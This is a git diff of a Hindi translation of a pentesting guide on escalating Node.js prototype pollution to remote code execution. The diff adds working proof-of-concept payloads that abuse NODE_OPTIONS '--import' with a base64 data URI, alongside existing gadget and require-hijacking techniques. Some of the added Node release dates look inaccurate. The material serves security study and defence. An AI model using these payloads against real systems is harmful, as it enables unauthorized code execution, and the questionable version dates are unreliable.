diff --git a/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.md b/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.md index 33a0c8f97..690a225a6 100644 --- a/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.md +++ b/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.md @@ -61,17 +61,17 @@ ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution } } ``` -कोड की जांच करें, आप देख सकते हैं कि **`envPairs`** को **`.env`** विशेषता को **pollute** करके **poison** करना संभव है। +कोड की जांच करें, आप देख सकते हैं कि **`envPairs`** को **`attribute `.env`** को **pollute** करके ज़हर दिया जा सकता है। -### **`__proto__` को Poison करना** +### **`__proto__` को ज़हर देना** > [!WARNING] -> ध्यान दें कि **`child_process`** लाइब्रेरी के **`normalizeSpawnArguments`** फ़ंक्शन के कारण, जब कुछ ऐसा कॉल किया जाता है जिससे प्रक्रिया के लिए **एक नया env वेरिएबल सेट** किया जा सके, तो आपको बस **कुछ भी pollute** करने की आवश्यकता होती है।\ -> उदाहरण के लिए, यदि आप `__proto__.avar="valuevar"` करते हैं, तो प्रक्रिया एक वेरिएबल के साथ स्पॉन होगी जिसका नाम `avar` और मान `valuevar` होगा। +> ध्यान दें कि **`child_process`** लाइब्रेरी के **`normalizeSpawnArguments`** फ़ंक्शन के काम करने के तरीके के कारण, जब कुछ ऐसा कॉल किया जाता है जिससे **प्रक्रिया के लिए एक नया env वेरिएबल सेट** किया जा सके, तो आपको बस **कुछ भी प्रदूषित** करने की आवश्यकता होती है।\ +> उदाहरण के लिए, यदि आप `__proto__.avar="valuevar"` करते हैं, तो प्रक्रिया एक वेरिएबल के साथ शुरू की जाएगी जिसका नाम `avar` और मान `valuevar` होगा। > -> हालाँकि, **env वेरिएबल को पहला होने के लिए** आपको **`.env` विशेषता को pollute** करना होगा और (केवल कुछ तरीकों में) वह वेरिएबल **पहला** होगा (हमले की अनुमति देता है)। +> हालाँकि, **env वेरिएबल को पहला होने के लिए** आपको **`.env` attribute** को **pollute** करना होगा और (केवल कुछ तरीकों में) वह वेरिएबल **पहला** होगा (हमले की अनुमति देता है)। > -> यही कारण है कि **`NODE_OPTIONS`** निम्नलिखित हमले में **`.env`** के अंदर नहीं है। +> यही कारण है कि **`NODE_OPTIONS`** निम्नलिखित हमले में **`.env`** के अंदर **नहीं है**। ```javascript const { execSync, fork } = require("child_process") @@ -124,7 +124,7 @@ var proc = fork("a_file.js") पिछले वाले के समान एक पेलोड कुछ परिवर्तनों के साथ [**इस लेख**](https://blog.sonarsource.com/blitzjs-prototype-pollution/) में प्रस्तावित किया गया था। मुख्य अंतर हैं: -- `/proc/self/environ` फ़ाइल के अंदर nodejs **payload** को संग्रहीत करने के बजाय, यह इसे **`/proc/self/cmdline`** के **argv0** के अंदर संग्रहीत करता है। +- `/proc/self/environ` फ़ाइल के अंदर nodejs **payload** को स्टोर करने के बजाय, यह इसे **`/proc/self/cmdline`** के **argv0** के अंदर स्टोर करता है। - फिर, **`NODE_OPTIONS`** के माध्यम से `/proc/self/environ` फ़ाइल की आवश्यकता करने के बजाय, यह **`/proc/self/cmdline`** की आवश्यकता करता है। ```javascript const { execSync, fork } = require("child_process") @@ -149,9 +149,50 @@ clone(USERINPUT) var proc = fork("a_file.js") // This should create the file /tmp/pp2rec ``` -## DNS Interaction +## Filesystem-less PP2RCE via `--import` (Node ≥ 19) -निम्नलिखित पेलोड्स का उपयोग करके, हम NODE_OPTIONS env var का दुरुपयोग कर सकते हैं जिसे हमने पहले चर्चा की थी और यह पता कर सकते हैं कि क्या यह DNS इंटरैक्शन के साथ काम करता है: +> [!NOTE] +> **Node.js 19** से CLI फ्लैग `--import` को `NODE_OPTIONS` के माध्यम से उसी तरह पास किया जा सकता है जैसे `--require` किया जा सकता है। `--require` के विपरीत, `--import` **data-URIs** को समझता है इसलिए हमलावर को **फाइल-सिस्टम पर लिखने की आवश्यकता नहीं है**। यह गैजेट लॉक्ड-डाउन या केवल पढ़ने वाले वातावरण में कहीं अधिक विश्वसनीय बनाता है। +> +> इस तकनीक को पहली बार मई 2023 में PortSwigger अनुसंधान द्वारा सार्वजनिक रूप से दस्तावेजीकृत किया गया था और तब से इसे कई CTF चुनौतियों में पुन: उत्पन्न किया गया है। + +हमला वैचारिक रूप से ऊपर दिखाए गए `--require /proc/self/*` ट्रिक्स के समान है, लेकिन एक फ़ाइल की ओर इशारा करने के बजाय हम पेलोड को सीधे एक base64-encoded `data:` URL में एम्बेड करते हैं: +```javascript +const { fork } = require("child_process") + +// Manual pollution +b = {} + +// Javascript that is executed once Node parses the import URL +const js = "require('child_process').execSync('touch /tmp/pp2rce_import')"; +const payload = `data:text/javascript;base64,${Buffer.from(js).toString('base64')}`; + +b.__proto__.NODE_OPTIONS = `--import ${payload}`; +// any key that will force spawn (fork) – same as earlier examples +fork("./a_file.js"); +``` +कमजोर merge/clone sink का दुरुपयोग करना जो पृष्ठ के शीर्ष पर दिखाया गया है: +```javascript +USERINPUT = JSON.parse('{"__proto__":{"NODE_OPTIONS":"--import data:text/javascript;base64,cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5jKCd0b3VjaCBcL3RtcFwvcHAycmNlX2ltcG9ydCcp"}}'); +clone(USERINPUT); + +// Gadget trigger +fork("./a_file.js"); +// → creates /tmp/pp2rce_import +``` +### क्यों `--import` मदद करता है +1. **कोई डिस्क इंटरैक्शन नहीं** – पेलोड पूरी तरह से प्रक्रिया कमांड लाइन और वातावरण के अंदर यात्रा करता है। +2. **ESM-केवल वातावरण के साथ काम करता है** – `--import` आधुनिक Node रिलीज़ में JavaScript को प्रीलोड करने का मानक तरीका है जो ECMAScript Modules पर डिफ़ॉल्ट होता है। +3. **कुछ `--require` अनुमति-सूचियों को बायपास करता है** – कुछ हार्डनिंग पुस्तकालय केवल `--require` को फ़िल्टर करते हैं, `--import` को बिना छुए छोड़ देते हैं। + +> [!WARNING] +> `NODE_OPTIONS` में `--import` समर्थन अभी भी नवीनतम **Node 22.2.0** (जून 2025) में मौजूद है। Node कोर टीम भविष्य में डेटा-URI को प्रतिबंधित करने पर चर्चा कर रही है, लेकिन लेखन के समय कोई समाधान उपलब्ध नहीं है। + +--- + +## DNS इंटरैक्शन + +निम्नलिखित पेलोड का उपयोग करके, हम NODE_OPTIONS env var का दुरुपयोग कर सकते हैं जिसे हमने पहले चर्चा की थी और यह पता लगा सकते हैं कि क्या यह DNS इंटरैक्शन के साथ काम करता है: ```json { "__proto__": { @@ -161,7 +202,7 @@ var proc = fork("a_file.js") } } ``` -या, डोमेन के लिए WAFs से पूछताछ से बचने के लिए: +या, डोमेन के लिए WAFs से पूछने से बचने के लिए: ```json { "__proto__": { @@ -177,7 +218,7 @@ var proc = fork("a_file.js")
-exec शोषण +exec exploitation ```javascript // environ trick - not working // It's not possible to pollute the .env attr to create a first env var @@ -227,10 +268,10 @@ var proc = execFile("/usr/bin/node") // Windows - not working ``` -**`execFile`** के काम करने के लिए यह **आवश्यक है कि node को निष्पादित करें** ताकि NODE_OPTIONS काम कर सके।\ -यदि यह **node** को निष्पादित नहीं कर रहा है, तो आपको यह पता लगाना होगा कि आप **पर्यावरण चर** के साथ जो कुछ भी निष्पादित हो रहा है, उसकी **निष्पादन को कैसे बदल सकते हैं** और उन्हें सेट करें। +**`execFile`** के काम करने के लिए यह **ज़रूरी है कि node को चलाया जाए** ताकि NODE_OPTIONS काम कर सके।\ +अगर यह **node** को नहीं चला रहा है, तो आपको यह पता लगाना होगा कि आप **पर्यावरण चर** के साथ जो कुछ भी चलाया जा रहा है, उसकी **कार्यवाही को कैसे बदल सकते हैं** और उन्हें सेट करें। -**अन्य** तकनीकें इस आवश्यकता के बिना **काम करती हैं** क्योंकि यह **संभव है** कि **जो निष्पादित होता है** उसे प्रोटोटाइप प्रदूषण के माध्यम से **संशोधित किया जा सके**। (इस मामले में, भले ही आप `.shell` को प्रदूषित कर सकें, आप उस चीज़ को प्रदूषित नहीं करेंगे जो निष्पादित हो रही है)। +**अन्य** तकनीकें इस आवश्यकता के बिना **काम करती हैं** क्योंकि यह **संभव है** कि **जो चलाया जा रहा है** उसे प्रोटोटाइप प्रदूषण के माध्यम से **संशोधित किया जा सके**। (इस मामले में, भले ही आप `.shell` को प्रदूषित कर सकें, आप उस चीज़ को प्रदूषित नहीं कर पाएंगे जो चल रही है)।
@@ -463,12 +504,12 @@ var proc = spawnSync("something") ## स्पॉन को मजबूर करना -पिछले उदाहरणों में आपने देखा कि गेजेट को ट्रिगर करने के लिए एक कार्यक्षमता की आवश्यकता होती है जो **`spawn`** को **कॉल** करती है (कुछ निष्पादित करने के लिए उपयोग किए जाने वाले **`child_process`** के सभी तरीके इसे कॉल करते हैं)। पिछले उदाहरण में यह **कोड का हिस्सा** था, लेकिन अगर कोड **इसे** कॉल नहीं कर रहा है तो क्या होगा। +पिछले उदाहरणों में आपने देखा कि कैसे गैजेट को ट्रिगर किया जाए, इसके लिए एक कार्यक्षमता की आवश्यकता होती है जो **`spawn`** को **कॉल** करती है (जो कुछ निष्पादित करने के लिए **`child_process`** के सभी तरीके इसे कॉल करते हैं)। पिछले उदाहरण में यह **कोड का हिस्सा** था, लेकिन अगर कोड **इसे** कॉल **नहीं** कर रहा है तो क्या होगा। -### एक आवश्यक फ़ाइल पथ को नियंत्रित करना +### एक require फ़ाइल पथ को नियंत्रित करना -इस [**अन्य लेख**](https://blog.sonarsource.com/blitzjs-prototype-pollution/) में उपयोगकर्ता उस फ़ाइल पथ को नियंत्रित कर सकता है जहाँ **`require`** निष्पादित होगा। उस परिदृश्य में हमलावर को बस **सिस्टम के अंदर एक `.js` फ़ाइल खोजने की आवश्यकता है** जो **आयात करते समय एक स्पॉन विधि को निष्पादित करेगी।**\ -आयात करते समय स्पॉन फ़ंक्शन को कॉल करने वाली सामान्य फ़ाइलों के कुछ उदाहरण हैं: +इस [**अन्य लेख**](https://blog.sonarsource.com/blitzjs-prototype-pollution/) में उपयोगकर्ता उस फ़ाइल पथ को नियंत्रित कर सकता है जहाँ **`require`** निष्पादित होगा। उस परिदृश्य में हमलावर को बस **सिस्टम के अंदर एक `.js` फ़ाइल खोजने की आवश्यकता है** जो **आयात करने पर एक स्पॉन विधि को निष्पादित करेगी।**\ +आयात करने पर स्पॉन फ़ंक्शन को कॉल करने वाली सामान्य फ़ाइलों के कुछ उदाहरण हैं: - /path/to/npm/scripts/changelog.js - /opt/yarn-v1.22.19/preinstall.js @@ -502,14 +543,14 @@ done > [!WARNING] > **पिछली तकनीक की आवश्यकता है** कि **उपयोगकर्ता उस फ़ाइल का पथ नियंत्रित करे** जिसे **आवश्यक** किया जा रहा है। लेकिन यह हमेशा सच नहीं है। -हालांकि, यदि कोड प्रोटोटाइप प्रदूषण के बाद एक require को निष्पादित करने जा रहा है, तो भले ही आप उस पथ को **नियंत्रित न करें** जिसे आवश्यक किया जा रहा है, आप **प्रोटोटाइप प्रदूषण का दुरुपयोग करके एक अलग पथ को मजबूर कर सकते हैं**। इसलिए भले ही कोड की पंक्ति इस तरह हो `require("./a_file.js")` या `require("bytes")`, यह **आपके प्रदूषित पैकेज को आवश्यक करेगा**। +हालांकि, यदि कोड प्रोटोटाइप प्रदूषण के बाद एक require को निष्पादित करने जा रहा है, भले ही आप **उस पथ को नियंत्रित न करें** जिसे आवश्यक किया जा रहा है, आप **प्रोटोटाइप प्रदूषण का दुरुपयोग करके एक अलग पथ को मजबूर कर सकते हैं**। इसलिए भले ही कोड की पंक्ति इस तरह हो `require("./a_file.js")` या `require("bytes")`, यह **उस पैकेज को आवश्यक करेगा जिसे आपने प्रदूषित किया है**। इसलिए, यदि आपके प्रोटोटाइप प्रदूषण के बाद एक require निष्पादित किया जाता है और कोई spawn फ़ंक्शन नहीं है, तो यह हमला है: - सिस्टम के अंदर एक **`.js` फ़ाइल खोजें** जो जब **आवश्यक** की जाएगी तो **`child_process` का उपयोग करके कुछ निष्पादित करेगी** - यदि आप उस प्लेटफ़ॉर्म पर फ़ाइलें अपलोड कर सकते हैं जिसे आप हमला कर रहे हैं, तो आप ऐसी फ़ाइल अपलोड कर सकते हैं - **`.js` फ़ाइल के require लोड को मजबूर करने के लिए पथों को प्रदूषित करें** जो child_process के साथ कुछ निष्पादित करेगी -- जब child_process निष्पादन फ़ंक्शन को कॉल किया जाता है तो **मनमाने कोड को निष्पादित करने के लिए environ/cmdline को प्रदूषित करें** (प्रारंभिक तकनीकों को देखें) +- जब child_process निष्पादन फ़ंक्शन को कॉल किया जाता है तो मनमाना कोड निष्पादित करने के लिए **पर्यावरण/cmdline को प्रदूषित करें** (प्रारंभिक तकनीकों को देखें) #### पूर्ण require @@ -556,7 +597,7 @@ fork("anything") #### सापेक्ष आवश्यकता - 1 -यदि एक **सापेक्ष पथ** को एक निरपेक्ष पथ के बजाय लोड किया जाता है, तो आप नोड को **एक अलग पथ लोड** करने के लिए मजबूर कर सकते हैं: +यदि एक **सापेक्ष पथ** को लोड किया जाता है बजाय एक निरपेक्ष पथ के, तो आप नोड को **एक अलग पथ लोड** करने के लिए मजबूर कर सकते हैं: {{#tabs}} {{#tab name="exploit"}} @@ -636,7 +677,7 @@ fork("/path/to/anything") {{#endtab}} {{#endtabs}} -#### सापेक्ष आवश्यकता - 3 +#### Relative require - 3 पिछले वाले के समान, यह [**इस लेख**](https://blog.huli.tw/2022/12/26/en/ctf-2022-web-js-summary/#balsn-ctf-2022-2linenodejs) में पाया गया। ```javascript @@ -660,17 +701,21 @@ require("./usage.js") ``` ## VM Gadgets -कागज़ में [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf) यह भी संकेत दिया गया है कि **`vm`** पुस्तकालय के कुछ तरीकों से **`contextExtensions`** का नियंत्रण एक गैजेट के रूप में उपयोग किया जा सकता है।\ +कागज में [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf) यह भी संकेत दिया गया है कि **`vm`** पुस्तकालय के कुछ तरीकों से **`contextExtensions`** का नियंत्रण एक गैजेट के रूप में उपयोग किया जा सकता है।\ हालांकि, पिछले **`child_process`** तरीकों की तरह, इसे नवीनतम संस्करणों में **फिक्स** किया गया है। ## Fixes & Unexpected protections कृपया ध्यान दें कि प्रोटोटाइप प्रदूषण तब काम करता है जब एक वस्तु का **attribute** जो एक्सेस किया जा रहा है, **undefined** है। यदि **कोड** में उस **attribute** को **set** किया गया है, तो आप इसे **overwrite** नहीं कर पाएंगे। -जून 2022 में [**इस कमिट**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a) से var `options` एक **`kEmptyObject`** है, न कि एक `{}`। जो **प्रोटोटाइप प्रदूषण** को **options** के **attributes** को RCE प्राप्त करने से प्रभावित होने से रोकता है।\ -कम से कम v18.4.0 से यह सुरक्षा **लागू** की गई है, और इसलिए `spawn` और `spawnSync` **exploits** जो तरीकों को प्रभावित करते थे, अब **काम नहीं करते** (यदि कोई `options` का उपयोग नहीं किया गया है!)। +जून 2022 में [**इस कमिट**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a) से var `options` एक **`kEmptyObject`** है, न कि एक `{}`। जो **प्रोटोटाइप प्रदूषण** को **options** के **attributes** को RCE प्राप्त करने से प्रभावित करने से रोकता है।\ +कम से कम v18.4.0 से यह सुरक्षा **लागू** की गई है, और इसलिए `spawn` और `spawnSync` **exploits** जो तरीकों को प्रभावित करते हैं **अब काम नहीं करते** (यदि कोई `options` का उपयोग नहीं किया गया है!)। -[**इस कमिट**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9) में vm पुस्तकालय से **`contextExtensions`** का **प्रोटोटाइप प्रदूषण** को **`{}`** के बजाय **`kEmptyObject`** पर सेट करके **कुछ हद तक फिक्स** किया गया था। +[**इस कमिट**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9) में vm पुस्तकालय के **`contextExtensions`** का **प्रोटोटाइप प्रदूषण** **भी तरह से फिक्स** किया गया है, जिसमें विकल्पों को **`kEmptyObject`** पर सेट किया गया है, न कि **`{}`** पर। + +> [!INFO] +> **Node 20 (अप्रैल 2023) और Node 22 (अप्रैल 2025)** ने आगे की सुरक्षा प्रदान की: कई `child_process` सहायक अब उपयोगकर्ता द्वारा प्रदान किए गए `options` को **`CopyOptions()`** के साथ कॉपी करते हैं, न कि उन्हें संदर्भ द्वारा उपयोग करते हैं। यह `stdio` जैसे नेस्टेड ऑब्जेक्ट्स के प्रदूषण को रोकता है, लेकिन **ऊपर वर्णित `NODE_OPTIONS` / `--import` ट्रिक्स के खिलाफ सुरक्षा नहीं करता** – उन फ्लैग्स को अभी भी पर्यावरण चर के माध्यम से स्वीकार किया जाता है। +> एक पूर्ण फिक्स को यह सीमित करना होगा कि कौन से CLI फ्लैग्स माता-पिता प्रक्रिया से प्रकट किए जा सकते हैं, जिसे Node Issue #50559 में ट्रैक किया जा रहा है। ### **Other Gadgets** @@ -682,6 +727,8 @@ require("./usage.js") - [https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/) - [https://blog.sonarsource.com/blitzjs-prototype-pollution/](https://blog.sonarsource.com/blitzjs-prototype-pollution/) - [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf) +- [https://portswigger.net/research/prototype-pollution-node-no-filesystem](https://portswigger.net/research/prototype-pollution-node-no-filesystem) +- [https://www.nodejs-security.com/blog/2024/prototype-pollution-regression](https://www.nodejs-security.com/blog/2024/prototype-pollution-regression) - [https://portswigger.net/research/server-side-prototype-pollution](https://portswigger.net/research/server-side-prototype-pollution) {{#include ../../../banners/hacktricks-training.md}}